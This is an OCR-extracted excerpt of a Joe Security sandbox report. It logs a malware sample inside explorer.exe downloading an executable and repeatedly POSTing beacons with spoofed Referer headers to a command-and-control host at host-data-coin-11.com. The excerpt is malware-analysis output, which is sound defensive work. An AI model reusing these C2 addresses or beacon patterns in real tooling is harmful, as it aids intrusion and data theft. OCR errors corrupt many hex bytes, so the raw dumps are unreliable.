Content-disposition: attachment; filename="mmrhuiadstzhfld.exe"

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/octet-stream

Data Raw: 34 65 32 30 30 0d 0Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 a5 7a 3c cc el 1b 52 9f el 1b 52 9f el 1b 52 9f ff 49 c¢7 9f fb
1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f el 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f
ff 49 ¢3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 da 6e de 5f 00 00 00 00
00 00 00 00 e0 00 02 01 Ob 01 09 00 00 e8 03 00 00 a8 12 00 00 00 00 00 20 b6 01 00 00 10 00 00 00 00 04 00 00 00 40
00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 €0 16 00 00 04 00 00 54 db 05 00 02 00
00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 €3 03 00 28
00 00 00 00 00 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 16 00 f8 1d 00 00 90 13 00 00
1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00
00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74
65 78 74 00 00 00 b2 e6 03 00 00 10 00 00 00 8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e
64 61 74 61 00 00 00 88 c9 11 00 00 00 04 00 00 18 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO
2e 6¢ 65 6d 65 6¢ 00 00 05 00 00 00 00 dO 15 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
c0 2e 6¢ 6f 62 69 6¢ 00 00 ea 00 00 00 00 e0 15 00 00 02 00 00 00 06 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 c0 2e 63 69 78 75 00 00 00 93 0d 00 00 00 fO 15 00 00 Oe 00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 00 16 00 00 84 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00
40 00 00 40 2e 72 65 6¢ 6f 63 00 00 f6 46 00 00 00 90 16 00 00 48 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00
40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

Data Ascii: 46200MZ@!L!This program cannot be run in DOS mode.$z<RRRIRIgR)RS>RIRIRIRRiIChRPELn_ @TT(0
@@.text ".data@.lemel@.lobil@.cixu@.rsrc@@.relocFH@B

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jjjeal.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 121

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Jan 14, 2022 2699

04:59:13.385051012 CET

Jan 14, 2022 2701

04:59:13.471846104 CET

Session ID Source IP

33 192.168.2.3
kBytes

Timestamp transferred

Jan 14, 2022 2703

04:59:13.558448076 CET

Jan 14, 2022 2709

04:59:13.646641016 CET

Session ID Source IP

34 192.168.2.3
kBytes

Timestamp transferred

Jan 14, 2022 3475

04:59:15.927923918 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49802

Direction

ouT

Source Port
49810

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://klixbylc.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 143

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://igiollry.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 356

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 36 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 Oc
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68
f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d Oa 0d Oa

Data Ascii: 661:820B%, YR("XQD !V,H+hYW1A[=KK]['i0

Destination IP  Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://Ixvicbnfu.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 180

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Jan 14, 2022 3476
04:59:16.011801958 CET

Session ID Source IP
35 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 3477

04:59:16.101794004 CET

Jan 14, 2022 3478
04:59:16.186861992 CET

Session ID Source IP
36 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 3479

04:59:16.268343925 CET

Jan 14, 2022 3479
04:59:16.350084066 CET

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49811

Direction

ouT

Source Port
49812

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:15 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://alysw.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 249

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://yocfbwydo.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 181

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 63 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd
4591 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2cl:8201:D@EnW[10
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Session ID Source IP
37 192.168.2.3
kBytes
Timestamp transferred
Jan 14, 2022 11358
04:59:37.478473902 CET
Jan 14, 2022 11359
04:59:37.559830904 CET
Session ID Source IP
38 192.168.2.3
kBytes
Timestamp transferred
Jan 14, 2022 11360
04:59:37.649547100 CET
Jan 14, 2022 11363
04:59:37.734066010 CET
Session ID Source IP
39 192.168.2.3
kBytes
Timestamp transferred
Jan 14, 2022 11363
04:59:37.820666075 CET
Jan 14, 2022 11366

04:59:37.904429913 CET

Copyright Joe Security LLC 2022

Source Port

49824

Direction

ouT

Source Port

49826

Direction

ouT

Source Port
49827

Direction
ouT

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gempx.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 266

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://cnwtvll.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 350

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:37 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ecigcmyd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:37 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID

4

Timestamp

Session ID

40

Timestamp

Jan 14, 2022
04:59:37.987737894 CET

Jan 14, 2022
04:59:38.072016001 CET

Session ID

41

Timestamp

Jan 14, 2022
04:59:38.193926096 CET

Jan 14, 2022
04:59:38.302746058 CET

Session ID
42

Timestamp

Jan 14, 2022
04:59:38.708915949 CET

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

11369

11780

Source IP

192.168.2.3

kBytes
transferred

11896

11921

Source IP
192.168.2.3

kBytes
transferred

11925

Copyright Joe Security LLC 2022

Source Port

49876

Direction

Source Port

49830

Direction

ouT

Source Port

49832

Direction

ouT

Source Port
49835

Direction

ouT

Destination IP Destination Port Process

144.76.136.153 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gaicqimmrp.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 340

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lwrsn.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 157

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lqdvrak.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 151

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Jan 14, 2022 11926
04:59:38.818808079 CET

Session ID Source IP
43 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 11928

04:59:38.903316975 CET

Jan 14, 2022 11930
04:59:38.999663115 CET

Session ID Source IP
44 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 11931

04:59:39.090161085 CET

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49837

Direction

ouT

Source Port
49838

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
